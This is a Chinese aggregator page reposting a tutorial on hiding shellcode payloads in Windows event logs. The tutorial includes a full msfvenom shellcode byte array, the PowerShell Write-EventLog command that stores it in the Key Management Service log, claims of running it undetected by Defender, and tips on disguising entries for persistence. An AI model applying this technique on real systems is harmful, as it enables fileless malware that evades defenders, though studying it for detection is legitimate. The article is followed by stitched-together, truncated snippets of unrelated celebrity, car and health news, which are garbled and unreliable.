范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文

分析巧用Windows事件日志隐藏载荷

  请遵守法律法规,文章仅供安全防范与学习,严禁非法使用,后果自负。
  根据卡巴斯基发布的研究报告发现一项恶意活动,其中的技术涉及将shellcode直接放入Windows事件日志,Windows事件日志可以被攻击者用来掩盖特洛伊木马病毒的恶意使用。实现了"无文件"攻击技术,下面就利用该涉及的技术,简单研究尝试一下。 Windows事件日志
  Windows默认事件日志查看器为eventvwr.msc,能实现简单的使用,Win+R键后输入eventvwr回车即能打开。Windows主要的日志在"Windows 日志"中,该文件夹中包含所有Windows系统上的五个标准类别。比较常用的Windows日志有系统日志、安全日志、应用程序日志这三个日志内容。 应用程序 安全 Setup 系统 Forwarded Events
  事件查看器的另一个"应用程序和服务日志"文件夹里,包含Windows系统中其它各类重要服务组件的事件日志。Windows PowerShell日志在该集合中。
  Windows事件日志文件实际上是以特定的数据结构的方式存储内容,每条记录事件的数据结构由9个字段组成,包括日志名称、来源、记录时间、事件ID、任务类别、级别、计算机、事件数据(EventData)等信息。其中事件数据 仅支持消息和二进制数据 。 写入事件日志
  我们可以使用PowerShell操作Windows事件日志,其中Write-EventLog命令可以将事件写入事件日志,参考微软官方文档,其中参数对应上面介绍的字段:
  执行命令 Write-EventLog -LogName Application -Source edge -EventID 65535 -EntryType Information -Category 0 -Message "Hello World!"
  在事件查看器中,可以看到事件ID为65535的日志成功创建在应用程序日志中,消息为Hello World!
  写入载荷
  只需在Write-EventLog中使用-RawData参数,就可以在事件日志字段中包含二进制数据,而且必须将二进制数据作为字节数组传到-RawData参数中。我们可以将其包含数据的十六进制字符串转换为字节数组,然后再传递。
  首先,使用msfvenom生成弹计算器 payload。输出格式为十六进制字符串
  利用工具网站转为字节数组
  $data = [Byte[]](0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00)
  使用密钥管理服务日志和KmsRequests作为源进行事件日志写入。Write-EventLog -LogName "Key Management Service" -Source KmsRequests -EventID 9999 -EntryType Information -Category 0 -Message "Hello World!" -RawData $data
  执行后,Payload已成功存储到事件日志当中。于事件日志的详细信息就能查看到。
  执行载荷
  为了提取并执行写入的载荷,这边用非常简单的C++程序和Python脚本进行证明,代码放在这里。
  用Visual Studio编译PoC代码后放在环境中执行,从"隐藏"在事件日志Key Management Services的第一条日志中提取二进制载荷数据并且成功执行。过程中defender并未对其进行告警。
  另外使用Python的win32evtlog实现读取事件日志内容,然后也用非常常见的shellcode注入技术执行该载荷。
  同样成功执行隐藏在事件日志中的载荷:
  可以看到,对Windows事件日志写入和读取Shellcode,都是使用合法的API调用,所以能借此很好的对载荷进行隐藏。作为一种持久化方法,还是能有更好的玩法。例如配合DLL搜索顺序劫持加载恶意代码等。用户限制
  事件日志的写入权限问题。为了能在事件日志条目中存储有效负载,我们拿到的权限必须要能写入日志。大小限制
  需要注意的另一个限制是,事件日志中可以存储的数据量有大小限制。基于事件消息字符串的最大字符限制为31,839个字符。更持久
  在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventLog对应的日志名称下的条目中,存在一个EventMessageFile属性。如果在注入载荷的时候,事件ID不存在于该属性指定的源关联的事件消息文件中,则会出现下图这个日志消息:
  使用者为了能够更加的持久化不被发现,事件ID和级别等字段都应该伪装成日常日志的样子。
  安全建议:提高安全意识,防御于未然。
  参考:
  https://threatpost.com/attackers-use-event-logs-to-hide-fileless-malware/179484
  https://securelist.com/a-new-secret-stash-for-fileless-malware/106393
  https://learn.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-readeventloga
  from: https://xz.aliyun.com/t/12251

女孩十七种朋友圈钓鱼模式,您的朋友圈是否出现过?生活当中常有一句谚语套路深,得人心。然而每个人都有自己的性格和特点,做事风格也是不一样的,所以每个人使用的套路往往都会不一样,甚至有些人在无意中就使用了。虽然每个人的小套路不一定是S28孙尚香颠覆性出装思路,宗师之力该放弃了,影刃契合度更高大家好我是指尖,今天指尖又来跟大家安利孙尚香的新出装了,之前指尖跟大家聊过破空对孙尚香的前期作用,代替了暗影战斧来换取更高的容错率,但这个装备在多突脸阵容中作用会低了不少,加上击退7月16日初伏,入伏要知道忌嘴,吃3瓜,食2肉,忌2味,舒坦过三伏小暑大暑紧相连,气温升高热炎炎。每年小暑和处暑节气之间,会出现一年中最热的时段三伏天,伏是指阴气受阳气压制,藏伏在地下不出来了,这个时间段里气温高,风速低,湿度大,人会感觉酷热难耐新车文懂车帝原创付博懂车帝原创2022重庆车展6月25日,2022重庆车展开幕,长安福特新款福克斯正式宣布上市,新车售价区间为11。9814。58万元。新车整体售价区间比老款车型有所上歌唱家殷秀梅,结婚当天想离婚,飞机上捡个外国老公恩爱多年当年殷秀梅在自己婚礼的当天就想好了离婚的事情。但是无奈一众亲朋好友都已落座。所以最终殷秀梅只能先行举办了婚礼。然而一年之后她便和丈夫办理了离婚手续。和平分手,离婚之后两人回归各自的大清亡后,格格们都嫁给了谁?好几位大明星,其实都是皇室后裔1912年2月12日,随着末代皇帝溥仪颁布退位诏书,延续了近300年的大清王朝正式覆灭。而一众皇亲国戚满洲贵族也失去了原有的身份和地位,沦为平民百姓。溥仪退位时,他的下面还有7个妹人生赢家昆凌中专学历嫁给周杰伦,结婚四年亏损老公8个亿坐拥10亿豪宅,手戴800万钻戒,天王嫂昆凌到底多有钱?2015年,周杰伦举行古堡婚礼,迎娶小自己14岁的昆凌为妻,震惊了整个娱乐圈,这场世纪婚礼之所以如此轰动,不仅仅是由于男主人冠脉支架手术后为啥有人后悔?到底能不能做?10大危害告知您冠脉支架手术是治疗一些心血管疾病,保证正常心脏功能的主要治疗方式之一,但有些人做冠脉支架手术之后,会后悔这一手术到底该不该做?十大危害告知您。一冠脉支架手术是什么首先我们了解一下冠医疗专家分析努涅斯伤病史双膝都做过手术,但俱乐部对此很乐观直播吧6月25日讯据thisisanfield报道,医疗专家对努涅斯的伤病史进行了分析,他双膝都做过手术,但恢复的很好,不会有后续的影响,利物浦的医疗团队对他的健康状态保持乐观。在高考状元李丞汐高考669分被北大录取,为当明星放弃高薪工作2013年,福建省福鼎市考生曾霜旖以669分的成绩夺得了福鼎市高考理科状元。之后,曾霜旖被北大录取。在北大,曾霜旖对艺术表演等充满兴趣,也在这个领域取得了一定成绩,不仅参演了北大的新车文懂车帝原创高帅鹏懂车帝原创产品日前,我们从上汽通用凯迪拉克获悉,凯迪拉克CT6120周年限量版上市,售价40。57万元,限量发售300辆。随后,这款车将于6月27日开始,通过凯迪
人中吕布(四)吕布之死198年,曹操亲率大军征讨吕布。九月,攻克彭城(今江苏徐州)。十月,曹军围困下邳城。百日后,曹军开掘河道,大水灌入下邳城。十二月,侯成宋宪魏续等部将突然反叛,绑缚陈宫高顺,并率本部曹魏男神夏侯玄,为何被妹夫司马师灭门?难道是因为男人的嫉妒?高平陵事件之后,司马懿就独揽朝政大权了,不过他已经垂垂老矣,没两年就死了。司马懿死了之后,所有的大权就被他的大儿子司马师继承,司马师成为大将军。位极人臣,开始发号施令,左右皇帝曹芳古代妃嫔侍寝花样多,不仅有许多招数,也更是暗藏心机古代皇帝是一国之主,九五之尊。皇帝掌控着至高无上的权力,按照大众的看法,在择偶方面应该是随心所欲,想干什么就干什么。事实却不是这样,皇帝在私生活上也得按规矩办!人们常说,皇帝有后宫人到中年,少吃花生瓜子,建议一周吃3次碱性食物,头发乌黑光亮人到中年,少吃花生瓜子,建议一周吃3次碱性食物,头发乌黑,身体棒大家好,我是真心爱厨房。随着社会的发展,现在老年人越来越注意养生,不仅要吃的好,还要吃的健康。也有些人特别的喜欢喝酒明日篮网迎战雄鹿欧文不在伤病名单上渡边雄太出战成疑直播吧12月23日讯明天(24日)上午8点半,篮网将在主场迎战雄鹿。篮网官方宣布,渡边雄太因右腿筋紧张明日出战成疑(50可能性出场)而欧文则不在伤病名单上,此前他因右小腿紧张缺席了病毒病毒是侵入活宿主并通过在细胞组织内繁殖来感染其身体的微观生物。病毒是依靠活细胞繁殖的微小传染因子。它们可能使用动物植物或细菌宿主来生存和繁殖。因此,关于病毒是否应被视为活生物体存在病毒让我很难受,可你怎么这么好呀!我的症状加重,这期间只能躲着孩子,没能好好一起吃饭一起睡觉讲故事。两天前,孩子低烧,测了抗原后,我说你好呀小羊宝宝。他突然问我妈妈,现在可以抱你了吗?我紧紧抱着他,一切都会好起来。工业领域成网络攻击重灾区工业互联网平台安全该如何防护?12月21日,在2022中国联通合作伙伴大会网络安全产业链暨科技创新高峰论坛上,中国信息通信研究院副院长魏亮发表了题为工业互联网安全的主旨演讲。工业领域已成为网络攻击重灾区魏亮表示抗病毒面料服装能阻止营收的下降吗?安奈尔的经营形势严峻2021年我们就解读过安奈尔的财报,当时我的意见是出生率下降的影响立竿见影,最近他们比较火,因为那个似是而非的抗病毒面料服装让其大火了一把。随着疫情管控政策的调整,不用说这个项目还沉默1个月,邵晴否认当小三,称与买超不熟,听男方建议不作声明不知道大家在近段时间是否有关注过张嘉倪与买超的离婚事件呢?伴随着二人展开夺子大战,近日在娱乐圈里闹得沸沸扬扬,近段时间,网传小三邵晴突然在现场发起了长文,在此次传闻中她否认了与买超山东泰山也好,武汉三镇也罢,想拿冠军就得做好防护中超倒数第三轮,武汉三镇和山东泰山在同一时间分别做客成都和晋江,挑战两支争三球队成都蓉城和上海海港。结果都不太理想。山东泰山在晋江输掉了比赛。面对海港,山东的外援配置其实依然是有一